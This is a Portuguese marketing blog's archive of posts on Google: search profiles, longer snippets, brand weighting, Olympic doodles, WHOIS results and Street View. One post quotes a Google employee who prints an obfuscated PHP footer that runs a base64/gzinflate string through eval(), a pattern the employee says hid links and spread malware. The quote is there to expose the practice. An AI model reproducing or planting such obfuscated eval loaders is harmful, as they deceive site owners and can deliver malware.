O seu nome no Google

google cartao visita A partir de hoje ser encontrado na primeira página dos resultados do Google passou a ser mais simples.

Porém, tal não significa que o processo seja linear ou é sinónimo de gestão da reputação pessoal.

A gestão da reputação nos motores de busca é um dos temas favoritos deste blog, tendo sido alvo da primeira série de entradas (já lá vão dois anos) e do ebook.

O Perfil no Google

Para ter o seu nome nos resultados do Google terá de preencher o seu Perfil no Google: O Google anunciou que a partir de agora listará no fundo da primeira página dos resultados as ocorrências para a palavra-chave nos seus perfis.

Esta é uma medida sem precedentes do Google e prende-se com a necessidade deste de saber quem vocês são. Pela primeira vez o Google permite que sejam os utilizadores a influenciar directamente os serps, ainda que, tecnicamente, estes sejam uma espécie de pós-resultados.

O perfil na primeira página é uma espécie de engodo. O Google cede parte do controlo sobre os seus resultados desde que lhe dêem preferência para criar o vosso perfil e lhe dêem a vossa informação. Obviamente que perfil criado na concorrência não será listado…

Não é Gestão de Reputação

Um perfil listado no final da primeira página poderá bastar para a maior parte de nós que apenas quer ver o nosso nome no Google mas de forma alguma é suficiente para quem deseja ter controlo sobre a sua reputação.

Para começar os perfis são, por ora, exibidos apenas no Google.com – e para resultados em inglês.

Os resultados no final da primeira página de forma alguma serão suficientes para alguém que tenha uma presença mínima online. Outros resultados, os quais o sujeito poderá ou não afectar, podem surgir melhor posicionados – dependendo do nome.

perfis resultados google

Finalmente, o factor previsibilidade. À media que os perfis do Google se forem institucionalizando as quem procura informação ir-se-á aperceber que esses perfis estáticos existem para ser encontrados e não como decurso de um trajecto e manifestação da presença online. Pensem no vosso perfil no Facebook e no Twitter, como são alterados e evoluem convosco. Se é previsível será descontado.

Google, onde está o meu cheque?

snippets do googleO Google começou na semana passada a apresentar resumos mais extensos em algumas buscas. Provavelmente para benefício do utilizador, certamente para benefício do Google.

Estará o Google a abusar e merecerão os autores dessas respostas uma fatia das receitas? E, já agora quem divide?

Resumos mais longos nos resultados

Uma das melhorias apresentadas pelo Google na semana passada são resumos (snippets) mais longos para pesquisas com mais de três palavras, a chamada cauda longa das buscas.

Como poderão notar na imagem acima, em vez dos habituais 160 caracteres, os resumos são agora mais extensos – até 250 caracteres. Nas palavras do fundador da empresa cuja tecnologia está na base das mudanças

“The results to the query are displayed immediately in the form of expanded text extracts, giving you the relevant information without having to go to the website – although you still have that option if you wish,”

Há muito que o Google serve respostas nos seus resultados, experimentem procurar a hora (ver tráfego defensivo), fazer conversões e operações aritméticas.*

Esta mudança deverá ser bem-vinda pelos utilizadores uma vez que lhes permite pré-verificar quais das páginas lhes apresenta os resultados que procuram. E pode até ser que encontrem a sua resposta já nos resultados, ainda que possam visitar o website, parafraseando Ori, “if they wish”.

O que ganha o Google

Para o Google o que é bom para os seus utilizadores é bom para o seu serviço. Todavia, não se fica por aqui: ao servir as respostas directamente nas suas páginas o Google está a diminuir o número de visitantes que envia para os produtores de conteúdos – o que é legítimo já que pode fazer o que bem entender das suas páginas.

O problema está em fazê-lo graças aos conteúdos dos mesmos. E ao fazê-lo vai diminuir as receitas dos mesmos e, presumivelmente, aumentar as suas.

Não tenho nada a apontar que o Google sirva directamente as respostas com os seus conteúdos, embora me seja indiferente. Que sirva essas respostas com os conteúdos de terceiros ao mesmo tempo que passivamente desencoraja o clique é pisar o risco do “evil”.

Os webmasters podem fazer alguma coisa?

Os produtores de conteúdos não têm grande poder negocial. A febre de conteúdos ditou que a informação seja hoje uma comodidade. As receitas da publicidade são miseráveis e haverá sempre alguém disposto a aceitar menos do que o vizinho.

Isso não significa que estejam condenados a dedicar-se a outras artes, até porque poderá estar próximo o dia em que parte da web esteja inacessível aos robots do Google. Entretanto podem começar por estudar as implicações de tópicos relacionados, a outra mudança anunciada:

We’re also keenly aware that they have 2 major areas of interest at Google (search wise) – behavioural targeting and context/concepts. This is in the paid search sector as well as the (cough cough) organic search. All of this means broader targeting processes

* Experimentem inserir uma soma ou multiplicação na caixa de busca do firefox (com o Google pré-seleccionado), tipo 332.88*2664, e terão o resultado como sugestão.

Algoritmo do Google começa a pesar as marcas

É uma das actualizações mais importantes ao algoritmo pelo Google: recentemente várias marcas começaram a surgir na primeira página dos resultados para termos extremamente competitivos. O Aaron, no Seobook, tem uma entrada documentando muitas dessas mudanças:

serps health insurance
Exemplo das mudanças para uma indústria competitiva.

No final do ano passado Eric Schmidt, CEO do Google, tinha referido que as marcas eram importantes para o google:
“Brands are the solution, not the problem,” Mr. Schmidt said. “Brands are how you sort out the cesspool.”

Mais recentemente falou de busca semântica e relações de palavras, o que poderá ser uma pista para compreender este novo mecanismo.

É nestas alturas que dou graças por ter registado o domínio www.marketingdebusca.com, em vez de um super-duper-seo-ppc.com, por exemplo.
Até na URL Marketing vem primeiro.

10 anos de Google. Como serão os próximos 10?

10 anos do Google

10. Um número redondo a merecer celebração. O Google é a marca mais valiosa do mundo e não vejo quem lhe possa fazer sombra no futuro próximo. E são apenas 10 anos. Parafraseando o Bastos, «onde estavas tu no 27 de Setembro de 1997»?

Para celebrar a data recolhi algumas citações de alguns textos que merecem leitura e que sugerem que os próximos 10 anos serão bastante mais controversos para o gigante de Mountain View. Escolhi-os porque gosto do Google e gostaria que estes pronúncios fossem em vão.

The omnigoogle (Nick Carr):

God or Satan? When you control the economic chokepoint of a digital economy and have complements everywhere you look, it can be difficult to distinguish between when you’re doing good (giving the people what they want) and when you’re doing bad (squelching competition)

Stuck in Google’s Doghouse (NYTimes):

As Mr. Savage saw it, Google’s near monopoly in search ads (its market share is approaching 70 percent) put it in a position to decide which business models it would tolerate and which ones it wouldn’t. “Google can use AdWords to pick winners in every category,” he told me.

The Google search advertising cartel (Seobook):

Sideline projects, like their book scanning project, turn into a treasure for librarians and researchers who guide others to trust Google. Syndicated products and services like their book API nearly create themselves as an off-shoot of creating indexable searchable content.

Googleolopy (Cleland, o autor, é lobista ao serviço das telecoms):

Google arguably enjoys more multi-dimensional dominating efficiencies and network effects of network effects of any company ever

Está o Google a tornar-nos estúpidos?

Bebe gigante O Google cumpre no próximo mês o seu décimo aniversário e um pouco por todo o mundo os media preparam-se para dedicar alguma atenção extra a este jovem gigante californiano.

A edição de amanhã do Expresso dedica duas páginas ao Google, tendo por mote a excelente e provocativa pergunta de Nicholas Carr na The Atlantic de Junho último.

Carr argumenta que o Google, a internet e as novas tecnologias estão a mudar significativamente a forma como interagimos com a informação e que isso poderá ter consequências a prazo na nossa capacidade de adquirir, ler e processar a informação.

Ao facilitar o acesso à informação o Google estimula à leitura por cima e à preguiça mental. A capacidade de concentração dos utilizadores da web está a diminuir e Carr vê nisso uma das causas para o sucesso dos artigos ligeiros e ilustrados na imprensa e blogs mas sem real valor. O Google, prossegue, tem todo o interesse neste padrão pois quanto menor for o valor da informação maior a sua importância enquanto intermediário de acesso.

Estará o Google a tornar-nos estúpidos? Carr faz o seu próprio contraditório no artigo. No passado, em múltiplas instâncias (invenção da imprensa, rádio, tv) os intelectuais alertaram para o potencial estupidificante das novas invenções. A espécie humana, diz, adaptar-se-á.
A nova geração, nativa da internet, estará muito melhor preparada que nós para lidar com o excesso de informação e filtrar a mais relevante.

Ao argumentar que a evolução tecnológica está a diminuir a nossa capacidade para ler livros e artigos a fundo parece esquecer que a esmagadora maioria da população não lê livros nem jornais. E, para crédito da internet, esta camada da população que tinha como fontes a revista Maria e a astróloga Maya pode agora aceder a um vasto mundo de informação. E alguns até o fazem…

Carr alega que empresas como o Google têm todo o interesse em promover esta mudança porque dela beneficiam financeiramente. Não sendo mentira parece-me manifestamente exagerado dizer que o Google tenha capacidade para promover mudanças a este nível.

O Google limitou-se a responder às necessidades dos utilizadores promovidas por uma mudança nos nossos hábitos. Não só não acredito que o Google (ou qualquer outra empresa) tenha sobre esta qualquer influência como tendo a concordar que o próprio Google está à mercê de um novo paradigma.

Então, o que é que o Google tem a ver com isto? É comum dizer-se que a tv estupidifica mas a ninguém se ouve dizer que “a Sic faz-te estúpido”. Então porquê o Google, quando o seu “share” na internet é muito inferior ao de uma estação de tv?

A resposta é óbvia. Se Carr não utilizasse o Google como exemplo e como título teria, na melhor das hipóteses, um décimo das reacções que o artigo gerou. Só no tecnorati são já quase 2200 reacções. O Google vende.

Imagem do Bebé Gigante inspirado neste vídeo de zefrank.

Doodles do Google para Pequim 2008

Depois da entrada sobre os jogos olimpicos de pequim tomei interesse nos logos (os doodles) que o Google criou para o evento – e que estreia na sua homepage à razão de um por dia e fá-lo-à enquanti decorrerem os jogos.

Como estava aborrecido decidi compilar uma página com todos os logotipos do Google para os Jogos Olímpicos de Pequim. A página será actualizada diariamente com o doodle do dia.

Abaixo seguem os logos publicados até ao dia de hoje (via).


Dia 8. Cerimónia de Abertura
cerimonia abertura pequim 2008 - google

9. Ciclismo
ciclismo doodle jogos olimpicos

10. Halterofilismo

levantamento de pesos - doodle jo pequim

11. Saltos para a água

saltos para a agua - doodle do google

12. Ginástica Rítmica

Ginastica ritmica jogos olimpicos 2008 - google

13. Argolas
Argolas nos jogos de pequim - google

14. Basquetebol

basquetebol - google: jogos olimipicos de pequim 2008

15. Badminton
badminton google doodle jo 2008

16. Futebol
futebol - google jo pequim

17. Remo

google jogos olimpicos 2008 - remo

18. Ping Pong
logo google - ping pong 2008

O meu preferido é o do dia 9, ciclismo. Gosto da forma como o desenho coexiste com o logo sem esconder as letras. Qual é o seu favorito?

A página com todos os logos (dias 19, 20 e restantes) está em

http://www.marketingdebusca.com/logos-google-pequim08/

O Google alerta contra sites perigosos

O link conduz a esta página que explica o porquê do aviso. Clicando no link para o site do PSD surge nova página de aviso para realçar a perigosidade do acto (aviso similar encontra quem navega directamente para o site com o firefox):

O Google faz acordos para inclusão no seu índice?

A pergunta é meramente retórica, o Google sempre proclamou alto e bom som que a inclusão no seu índice é livre e independente. Por outras palavras, ninguém senão o próprio Google poderá garantir a inclusão ou reclamar legitimamente qualquer influência directa nos resultados.

directorio hotfrog Poderá então uma multinacional de directórios para empresas argumentar com um acordo de colaboração existente com o motor de busca Google? Pelos vistos pode e fá-lo com à vontade. A não ser, claro, que o Google faça qualquer coisa para o impedir.
Um qualquer pequeno empresário seria imediatamente apagado dos SERPs mal se atrevesse a conquistar alguma atenção. Será a mão do Google igualmente severa com uma multinacional?

A forma como o Google gerir este tipo de situações será crucial para a sua credibilidade na luta anti-webspam. O Google não pode sugerir a pequenos empresários (tópico de discussão no Google Groups que linkei ontem) que contactem todos os bloggers «enganados» para remover os seus links de rodapé dos temas e ao mesmo tempo tolerar a HP a distribuir temas de blog com links embebidos. Ainda por cima os links são ofuscados para que não possam ser facilmente removidos. Como escrevia um empregado do Google na citada discussão:

It looks like you have made some good progress with regards to those
links. However, I’m still seeing templates being distributed with
them; not only that, the links are disguised in a way that the average
webmaster cannot find them. For example, one template I was
looking at contained the following as “footer.php” (with spaces
added):

<?php $Lb7c75a7d0c13508a6d47965db04098bb=’pVRbb5swFH6vt
P9w5GltKjVAsoeuDXG0Zav6WLVT94iMOYAlsJntBLXqj5+BEIVcqmnz
iy/n8n3n4rOgoWVxgVCLxOZzMgmCTwRipRPUcxIQ4FgUpmJcyGx7r1i
StPcpoR/OAEKr2705JZCjyHI7J9c3hJ7L2FSz0LdJp+hvNI9bTG8cdM
ZVoRz2xyCZ8M/XhIaJWAMvmDFzcqeURU0odMatg4qGxmolMxrGvdeNK
FXSQu/vrl0EjHhFFyiBlHF3eEadMMmu4KsWrLiCeyzWaAV3L4ZJMzao
RUroUlUvuqEJuwjn3D3PYBoEX2A8kIQLiAuVCZmq0YVkJV5czmAxoDe
GB1WjxgTil9BvuNKO8b8xHMIzyDWmc5JbW936fl3XHivZqytb7YpbaT
TG5lii8bgqCT2aKvrLqT40qgPfP1u7nrHPThi7+JbKtdEt9KpHONUY5
8pYT+nMwWE8ALp3Ekf4HQgfvqMRmXQ5/Nbn8Gjsa8aZFUpqZIV96WJ+
3rwNMB9RWlaYFrOPsG8vv6LDvvuPam1Jhosqr3Z6RRszjVa66PrlVGV
+SKsFml3mo8enp8udqhxvf/p2kKZ9Bi45pcuCif6OynKj/h4X7wSZDh
p5riBDG8lVGf1eYRPZ6OC7bATe8Jc19laUqCNjVTWaHJgZ5Eomxtuya
bdDJ3UVpe102UfeLXvou2G0d9ufbm5rJmoX29kf’;eval(gzinflate
(base64_decode($Lb7c75a7d0c13508a6d47965db04098bb))); ?>
Personally, I think having footer links are fine if they are relevant
to the site or template and nofollow’ed. However, hiding them in this
style is – in my opinion – not ok at all. Just this week I helped a
friend with his template: it had a block of code similar to this in
it. It turned out that not only was it hiding links, it was also
spreading malware. It really upsets me to find code like this in a
template: it shows that whoever made the template not only knew the
contents were not ok, but also wanted to prevent the user from finding
or editing it.

When submitting a reconsideration request, it’s always good to make
sure that as much as possible is cleaned up and detailed in your
report (including potential paid links in other forms).

Eu compreendo que empresas e indivíduos diferentes requeiram tratamentos diferentes dos motores de busca. O que não é aceitável é a flagrante dualidade de critérios, sujeita a eventuais interesses comerciais. Vou porém aguardar antes de julgar: a bola está ainda nas mãos do Google.

WHOIS nos Resultados

Aqui está outra inovação recente do Google que não será lá muito do agrado de alguns webmasters (via):

whois nos resultados do Google

Não serão os prós a utilizar esta nova funcionalidade; têm já os seus atalhos e ferramentas de eleição (quando não desenvolvem as suas próprias).
busca do domain tools no firefox São antes os leigos que provavelmente deixarão de visitar os sites que optimizaram para os resultados em favor do parceiro de circunstância do Google.
Parceiro este que disponibiliza (imagem) as suas ferramentas para aqueles que pretendem acesso directo.

Street View chega ao Google Earth

google earth com street view

O Google lançou esta semana a versão 4.3 do Google Earth.

Entre as novidades contam-se o polémico Street View e a presença de mais cidades e localidades em 3D, como sejam o caso das portuguesas Lisboa e Marvão. Esta nova versão promete horas de exploração virtualç e está localizada no português europeu.

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